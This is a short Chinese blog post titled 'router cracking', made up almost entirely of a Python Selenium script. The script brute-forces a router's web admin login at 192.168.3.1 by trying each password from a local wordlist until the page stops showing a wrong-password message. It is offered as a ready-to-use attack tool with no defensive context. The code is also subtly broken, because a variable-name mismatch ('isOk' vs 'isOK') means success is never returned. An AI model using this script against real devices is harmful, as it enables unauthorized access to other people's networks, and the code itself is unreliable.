路由器破密

2019-12-22  本文已影响0人  猫的甜甜圈
from selenium import webdriver
import time
from selenium.webdriver.common.keys import Keys

def checkepassword(password):
    driver=webdriver.Chrome()
    driver.get("http://192.168.3.1")
    time.sleep(3)
    inputelem = driver.find_element_by_id("userpassword")
    inputelem.send_keys(password)
    inputelem.send_keys(Keys.ENTER)
    time.sleep(1)
    isOK = None
    if driver.page_source.find("密码错误")==-1:
        # print("登录成功")
        isOk=True
    else:
        # print("登录失败")
        isOK=False

    driver.close()
    return isOK


# checkepassword("123")

passwordfilepath=r"D:\md\es.txt"
passfile=open(passwordfilepath,'rb')
while True:
    line=passfile.readline()
    if not line:
        break
    line = line.decode("utf-8","ignore")
    linelist=line.split(" # ")
    password = linelist[0] #切割密码
    isok=checkepassword(password) #测试密码是否正确
    print(password,isok)
    if isok: #成功跳出循环
        break

passfile.close()
上一篇 下一篇

猜你喜欢

热点阅读